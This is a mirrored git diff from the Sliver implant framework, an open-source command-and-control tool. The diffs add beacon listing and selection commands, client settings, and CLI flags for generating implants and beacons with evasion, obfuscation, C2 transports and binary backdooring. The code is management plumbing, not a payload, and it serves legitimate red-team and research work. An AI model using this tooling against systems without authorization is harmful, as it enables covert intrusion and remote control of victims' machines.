mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
74
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
43548ad4b2 | ||
|
|
09358666a1 | ||
|
|
213ad330c5 | ||
|
|
f7d7bdc677 | ||
|
|
c292ac4b28 | ||
|
|
f576c138c9 | ||
|
|
216054e90c | ||
|
|
62e311fb6f | ||
|
|
90de32b6f2 | ||
|
|
b8b20711fe | ||
|
|
f87582462d | ||
|
|
87fba59c57 | ||
|
|
ab58a67df4 | ||
|
|
424db7bdca | ||
|
|
cec1451dec | ||
|
|
e79e3daf7d | ||
|
|
1a632f48ff | ||
|
|
83adb36bbd | ||
|
|
686452a65e | ||
|
|
e436e9ca89 | ||
|
|
db29281233 | ||
|
|
65cea9eeb2 | ||
|
|
06a44f980b | ||
|
|
952f22583e | ||
|
|
5429c8d45a | ||
|
|
9e8bfb62d7 | ||
|
|
45ef2a27a9 | ||
|
|
93a1492a05 | ||
|
|
b554b49b42 | ||
|
|
e7d8495cb0 | ||
|
|
2ebb2734bf | ||
|
|
515b927791 | ||
|
|
35489e974f | ||
|
|
e2cf688044 | ||
|
|
79772297bc | ||
|
|
7d4de43559 | ||
|
|
7df290386e | ||
|
|
fc5673b33e | ||
|
|
31a53a4cba | ||
|
|
8967bcf35d | ||
|
|
6d4b28731e | ||
|
|
235201f701 | ||
|
|
d1135d1d68 | ||
|
|
a998a571f9 | ||
|
|
ce3cee731c | ||
|
|
9e924efcb2 | ||
|
|
23309233a8 | ||
|
|
e107382d07 | ||
|
|
9ea9d1add8 | ||
|
|
bc5a622944 | ||
|
|
c24a37edcd | ||
|
|
536171e8ac | ||
|
|
4d17f0ed66 | ||
|
|
1e5bf9a39c | ||
|
|
18cb8d142d | ||
|
|
b3467e0512 | ||
|
|
8a1845baf8 | ||
|
|
00a2faf137 | ||
|
|
6fb3835e14 | ||
|
|
f3144eb919 | ||
|
|
83c5fad8eb | ||
|
|
bfe2013eb5 | ||
|
|
0923de192c | ||
|
|
c41e9dead0 | ||
|
|
e989ba581b | ||
|
|
7f9657f32d | ||
|
|
8cc3f1984a | ||
|
|
d337d4f13c | ||
|
|
75dd1b1a26 | ||
|
|
359746120a | ||
|
|
b08728765d | ||
|
|
cbfae11876 | ||
|
|
b7a814f0c5 | ||
|
|
572e717634 |
No files matched your search
@@ -1,5 +1,6 @@
|
||||
/.vscode/*
|
||||
/.devcontainer
|
||||
/.idea
|
||||
|
||||
/Dockerfile.*
|
||||
/*.sdk.tar.xz
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"os"
|
||||
"os/user"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
ver "github.com/bishopfox/sliver/client/version"
|
||||
@@ -101,6 +102,9 @@ func Setup(force bool, echo bool) {
|
||||
}
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
|
||||
SaveSettings(nil)
|
||||
}
|
||||
}
|
||||
|
||||
func setupCoffLoaderExt(appDir string) error {
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
settingsFileName = "tui-settings.json"
|
||||
)
|
||||
|
||||
// ClientSettings - Client JSON config
|
||||
type ClientSettings struct {
|
||||
TableStyle string `json:"tables"`
|
||||
AutoAdult bool `json:"autoadult"`
|
||||
BeaconAutoResults bool `json:"beacon_autoresults"`
|
||||
}
|
||||
|
||||
// LoadSettings - Load the client settings from disk
|
||||
func LoadSettings() (*ClientSettings, error) {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
|
||||
if err != nil {
|
||||
return defaultSettings(), err
|
||||
}
|
||||
settings := defaultSettings()
|
||||
err = json.Unmarshal(data, settings)
|
||||
if err != nil {
|
||||
return defaultSettings(), err
|
||||
}
|
||||
return settings, nil
|
||||
}
|
||||
|
||||
func defaultSettings() *ClientSettings {
|
||||
return &ClientSettings{
|
||||
TableStyle: "SliverDefault",
|
||||
AutoAdult: false,
|
||||
BeaconAutoResults: true,
|
||||
}
|
||||
}
|
||||
|
||||
// SaveSettings - Save the current settings to disk
|
||||
func SaveSettings(settings *ClientSettings) error {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
if settings == nil {
|
||||
settings = defaultSettings()
|
||||
}
|
||||
data, err := json.MarshalIndent(settings, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
|
||||
return err
|
||||
}
|
||||
@@ -29,7 +29,7 @@ import (
|
||||
|
||||
// BackdoorCmd - Command to inject implant code into an existing binary
|
||||
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -48,7 +48,7 @@ func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
|
||||
FilePath: remoteFilePath,
|
||||
ProfileName: profileName,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Beacons
|
||||
========
|
||||
|
||||
This package implements the beacons command, which can be used to list and interact with beacons.
|
||||
@@ -0,0 +1,103 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// BeaconsCmd - Display/interact with beacons
|
||||
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
PrintBeacons(beacons.Beacons, con)
|
||||
}
|
||||
|
||||
// BeaconsRmCmd - Display/interact with beacons
|
||||
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
beacon, err := SelectBeacon(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
|
||||
}
|
||||
|
||||
// PrintBeacons - Display a list of beacons
|
||||
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
|
||||
|
||||
if len(beacons) == 0 {
|
||||
con.PrintInfof("No beacons 🙁\n")
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Tasks",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
|
||||
for _, beacon := range beacons {
|
||||
next := time.Unix(beacon.NextCheckin, 0).Format(time.RFC1123)
|
||||
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
|
||||
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, next, console.Normal)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
strings.Split(beacon.ID, "-")[0],
|
||||
beacon.Name,
|
||||
fmt.Sprintf("%d / %d", beacon.TasksCountCompleted, beacon.TasksCount),
|
||||
beacon.Transport,
|
||||
beacon.RemoteAddress,
|
||||
beacon.Hostname,
|
||||
beacon.Username,
|
||||
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
|
||||
time.Unix(beacon.LastCheckin, 0).Format(time.RFC1123),
|
||||
next,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrNoBeacons - No sessions available
|
||||
ErrNoBeacons = errors.New("no beacons")
|
||||
// ErrNoSelection - No selection made
|
||||
ErrNoSelection = errors.New("no selection")
|
||||
)
|
||||
|
||||
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
|
||||
func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(beacons.Beacons) == 0 {
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
|
||||
beaconsMap := map[string]*clientpb.Beacon{}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
beaconsMap[beacon.ID] = beacon
|
||||
}
|
||||
keys := []string{}
|
||||
for beaconID := range beaconsMap {
|
||||
keys = append(keys, beaconID)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
beacon := beaconsMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
beacon.ID,
|
||||
beacon.Name,
|
||||
beacon.RemoteAddress,
|
||||
beacon.Hostname,
|
||||
beacon.Username,
|
||||
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
|
||||
)
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a beacon:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
// Go from the selected option -> index -> session
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return beaconsMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
+277
-28
@@ -38,6 +38,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
"github.com/bishopfox/sliver/client/command/exec"
|
||||
@@ -55,14 +56,18 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/operators"
|
||||
"github.com/bishopfox/sliver/client/command/pivots"
|
||||
"github.com/bishopfox/sliver/client/command/portfwd"
|
||||
operator "github.com/bishopfox/sliver/client/command/prelude-operator"
|
||||
"github.com/bishopfox/sliver/client/command/privilege"
|
||||
"github.com/bishopfox/sliver/client/command/processes"
|
||||
"github.com/bishopfox/sliver/client/command/reaction"
|
||||
"github.com/bishopfox/sliver/client/command/registry"
|
||||
"github.com/bishopfox/sliver/client/command/screenshot"
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/command/shell"
|
||||
"github.com/bishopfox/sliver/client/command/tasks"
|
||||
"github.com/bishopfox/sliver/client/command/update"
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
"github.com/bishopfox/sliver/client/command/websites"
|
||||
"github.com/bishopfox/sliver/client/command/wireguard"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -290,9 +295,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
// [ Operators ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.PlayersStr,
|
||||
Name: consts.OperatorsStr,
|
||||
Help: "Manage operators",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PlayersStr}),
|
||||
LongHelp: help.GetHelpFor([]string{consts.OperatorsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -381,25 +386,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.UseStr,
|
||||
Help: "Switch the active session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.UseStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("session", "session ID or name", grumble.Default(""))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sessions.UseCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.KillStr,
|
||||
Help: "Kill a session",
|
||||
@@ -418,6 +404,145 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Tasks ] --------------------------------------------------------------
|
||||
|
||||
tasksCmd := &grumble.Command{
|
||||
Name: consts.TasksStr,
|
||||
Help: "Beacon task management",
|
||||
LongHelp: help.GetHelpFor([]string{consts.TasksStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
tasks.TasksCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(tasksCmd)
|
||||
|
||||
// [ Use ] --------------------------------------------------------------
|
||||
|
||||
useCmd := &grumble.Command{
|
||||
Name: consts.UseStr,
|
||||
Help: "Switch the active session or beacon",
|
||||
LongHelp: help.GetHelpFor([]string{consts.UseStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("id", "beacon or session ID", grumble.Default(""))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
use.UseCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
useCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.SessionsStr,
|
||||
Help: "Switch the active session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
use.UseSessionCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
useCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.BeaconsStr,
|
||||
Help: "Switch the active beacon",
|
||||
LongHelp: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
use.UseBeaconCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
con.App.AddCommand(useCmd)
|
||||
|
||||
// [ Settings ] --------------------------------------------------------------
|
||||
|
||||
settingsCmd := &grumble.Command{
|
||||
Name: consts.SettingsStr,
|
||||
Help: "Manage client settings",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SettingsStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
settings.SettingsCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
settingsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.SaveStr,
|
||||
Help: "Save the current settings to disk",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, consts.SaveStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
settings.SettingsSaveCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
settingsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.TablesStr,
|
||||
Help: "Modify tables setting (style)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, consts.TablesStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
settings.SettingsTablesCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
settingsCmd.AddCommand(&grumble.Command{
|
||||
Name: "beacon-autoresults",
|
||||
Help: "Automatically display beacon task results when completed",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "beacon-autoresults"}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
settings.SettingsBeaconsAutoResultCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
settingsCmd.AddCommand(&grumble.Command{
|
||||
Name: "autoadult",
|
||||
Help: "Automatically accept OPSEC warnings",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "autoadult"}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
settings.SettingsAutoAdultCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
con.App.AddCommand(settingsCmd)
|
||||
|
||||
// [ Info ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
@@ -550,6 +675,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("T", "token", false, "execute command with current token (windows only)")
|
||||
f.Bool("s", "silent", false, "don't print the command output")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
|
||||
f.String("o", "stdout", "", "remote path to redirect STDOUT to")
|
||||
f.String("e", "stderr", "", "remote path to redirect STDERR to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -789,13 +917,13 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("N", "name", "", "agent name")
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("b", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
f.String("m", "mtls", "", "mtls connection strings")
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("H", "http", "", "http(s) connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
f.String("n", "dns", "", "dns connection strings")
|
||||
f.String("p", "named-pipe", "", "named-pipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
|
||||
@@ -804,7 +932,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll", generate.DefaultPoll, "attempt to poll every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
|
||||
f.String("w", "limit-datetime", "", "limit execution to before datetime")
|
||||
@@ -814,7 +942,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
|
||||
f.String("s", "save", "", "directory/file to the binary to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
@@ -827,6 +954,59 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
generateCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.BeaconStr,
|
||||
Help: "Generate a beacon binary",
|
||||
LongHelp: help.GetHelpFor([]string{consts.GenerateStr, consts.BeaconStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int64("D", "days", 0, "beacon interval days")
|
||||
f.Int64("H", "hours", 0, "beacon interval hours")
|
||||
f.Int64("M", "minutes", 15, "beacon interval minutes")
|
||||
f.Int64("S", "seconds", 0, "beacon interval seconds")
|
||||
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
|
||||
|
||||
// Generate flags
|
||||
f.String("o", "os", "windows", "operating system")
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
f.String("N", "name", "", "agent name")
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
f.String("m", "mtls", "", "mtls connection strings")
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
f.String("n", "dns", "", "dns connection strings")
|
||||
f.String("p", "named-pipe", "", "named-pipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
|
||||
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
|
||||
f.String("w", "limit-datetime", "", "limit execution to before datetime")
|
||||
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
|
||||
f.String("y", "limit-username", "", "limit execution to specified username")
|
||||
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
|
||||
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.String("s", "save", "", "directory/file to the binary to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
generate.GenerateBeaconCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
generateCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.StagerStr,
|
||||
Help: "Generate a implant stager using MSF",
|
||||
@@ -946,7 +1126,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
f.Int("P", "poll", generate.DefaultPoll, "attempt to poll every n second(s)")
|
||||
f.Int("P", "poll", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
|
||||
|
||||
f.String("w", "limit-datetime", "", "limit execution to before datetime")
|
||||
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
|
||||
@@ -1024,9 +1204,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
con.App.AddCommand(implantBuildsCmd)
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ListCanariesStr,
|
||||
Name: consts.CanariesStr,
|
||||
Help: "List previously generated canaries",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ListCanariesStr}),
|
||||
LongHelp: help.GetHelpFor([]string{consts.CanariesStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("b", "burned", false, "show only triggered/burned canaries")
|
||||
|
||||
@@ -1541,6 +1721,40 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
})
|
||||
|
||||
// [ Beacons ] ---------------------------------------------
|
||||
|
||||
beaconsCmd := &grumble.Command{
|
||||
Name: consts.BeaconsStr,
|
||||
Help: "Manage beacons",
|
||||
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
beacons.BeaconsCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
}
|
||||
beaconsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove a beacon",
|
||||
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
beacons.BeaconsRmCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
